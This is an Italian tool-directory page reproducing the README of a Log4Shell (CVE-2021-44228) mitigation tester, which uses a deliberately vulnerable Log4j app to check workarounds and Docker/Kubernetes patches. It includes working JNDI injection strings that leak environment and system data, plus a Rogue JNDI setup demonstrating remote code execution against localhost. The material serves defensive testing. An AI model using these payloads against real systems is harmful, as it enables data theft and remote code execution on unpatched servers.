Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
log4shell-mitigation-tester — Testa e valida gli approcci di mitigazione di Log4Shell (CVE-2021-44228) con un'app Log4j vulnerabile di esempio, inclusi lo sfruttamento JNDI, le soluzioni alternative tramite variabili d'ambiente e la correzione tramite Docker/Kubernetes. | Kitploit
Strumenti/GitHubGitHub/lhotari/log4shell-mitigation-tester
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneLab e Pratica
GitHublhotari/log4shell-mitigation-tester

log4shell-mitigation-tester

Testa e valida gli approcci di mitigazione di Log4Shell (CVE-2021-44228) con un'app Log4j vulnerabile di esempio, inclusi lo sfruttamento JNDI, le soluzioni alternative tramite variabili d'ambiente e la correzione tramite Docker/Kubernetes.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
161154 anni faNon ancora revisionato

Tester di mitigazione Log4Shell

Questa è un'applicazione di esempio che utilizza Log4j 2.14.1 .

codice sorgente: App.java

Lo scopo è poter testare diversi approcci di mitigazione. Gli approcci di mitigazione sono menzionati anche nella Risposta di Microsoft a CVE-2021-44228 Apache Log4j 2.

Esempio di utilizzo

Gli esempi sono per una shell bash

build dell'app

./gradlew assemble

Esegui senza workaround

java -jar app/build/libs/app-all.jar

Testa la funzionalità di message lookup passando una stringa da riga di comando:

FOO='Hello ${env:USER}' java -jar app/build/libs/app-all.jar '${env:FOO}'

Testa il workaround della proprietà di sistema -Dlog4j2.formatMsgNoLookups=true, https://twitter.com/brunoborges/status/1469186875608875011

java -Dlog4j2.formatMsgNoLookups=true -jar app/build/libs/app-all.jar

Testa il workaround della variabile d'ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS=true, https://twitter.com/brunoborges/status/1469462412679991300

LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar

Testa il workaround della variabile d'ambiente JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true, https://twitter.com/brunoborges/status/1469426918550245377

JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true java -jar app/build/libs/app-all.jar

Testa la soluzione workaround con log4j2.component.properties nel classpath:

java -cp log4j2-formatMsgNoLookups/build/libs/log4j2-formatMsgNoLookups.jar:app/build/libs/app-all.jar log4shell.mitigation.tester.App

Vedere per credere - sfrutta questa app di esempio

Quando esegui l'app, vedrai la vulnerabilità in azione:

❯ java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:57:07,216] [main] [log4shell.mitigation.tester.App] INFO noLookups false
[2021-12-12 10:57:07,218] [main] [log4shell.mitigation.tester.App] INFO Lookups are enabled! The application is vulnerable for Log4Shell! Example lookup USER=lari
2021-12-12 10:57:07,239 main WARN Error looking up JNDI resource [ldap://127.0.0.1/a?user=lari]. javax.naming.InvalidNameException: ldap://127.0.0.1/a?user=lari
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:92)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)

Puoi anche eseguire il debug della soluzione e impostare un breakpoint nel codice vulnerabile, che si trova in https://github.com/apache/logging-log4j2/blob/dd18e9b21009055e226daf5b233c92b6a17934ca/log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java#L119-L135

Imposta il debugger nella classe org.apache.logging.log4j.core.pattern.MessagePatternConverter alla riga 128.

Quando la mitigazione è attiva, il debugger non dovrebbe mai entrare nel blocco di codice. La chiamata LDAP non dovrebbe essere tentata nemmeno:

❯ LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:59:15,589] [main] [log4shell.mitigation.tester.App] INFO noLookups true
[2021-12-12 10:59:15,590] [main] [log4shell.mitigation.tester.App] INFO Lookups are disabled. Example lookup USER=${env:USER}
[2021-12-12 10:59:15,591] [main] [log4shell.mitigation.tester.App] INFO Provided command line arguments are [${jndi:ldap://127.0.0.1/a?user=${env:USER}}]

Sfruttamento con Rogue JNDI

La dimostrazione della fuga di informazioni dipende dalle modifiche di https://github.com/veracode-research/rogue-jndi/pull/11

in un terminale

git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
# build with PR https://github.com/veracode-research/rogue-jndi/pull/11 changes
git fetch origin pull/11/head
git checkout FETCH_HEAD
mvn package
# sample command is for Linux, remove `-c "zenity --progress --pulsate --text=You_are_hacked"` on other OSes or use any suitable RCE command
java -jar target/RogueJndi-1.1.jar -c "zenity --progress --pulsate --text=You_are_hacked"

in un altro terminale:

# demonstrate information leakage
java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/user=${env:USER},vendor=${sys:java.vendor},javaversion=${sys:java.vm.version},os=${sys:os.version}}'
# demonstrate RCE by adding "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true"
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/o=reference}'

Soluzioni di mitigazione per Log4Shell su Kubernetes / docker

È necessario mitigare Log4Shell immediatamente senza attendere una nuova release del software. Ecco alcune soluzioni per farlo in modo rapido ed efficace.

Applicare patch alle immagini docker esistenti con un overlay sottile che imposta la variabile d'ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Questa è una soluzione generica: https://github.com/lhotari/Log4Shell-mitigation-Dockerfile-overlay

Esempio di applicazione di patch alle immagini docker esistenti con i file jar Log4j 2.15.0

Non è generico, l'esempio proviene da apache/pulsar: https://github.com/lhotari/pulsar-docker-images-patch-CVE-2021-44228

Applicare patch ai deployment k8s con la variabile d'ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS=true

https://gist.github.com/brunoborges/9df576689b404aee70a8065210c77fb3

Scarica lo strumento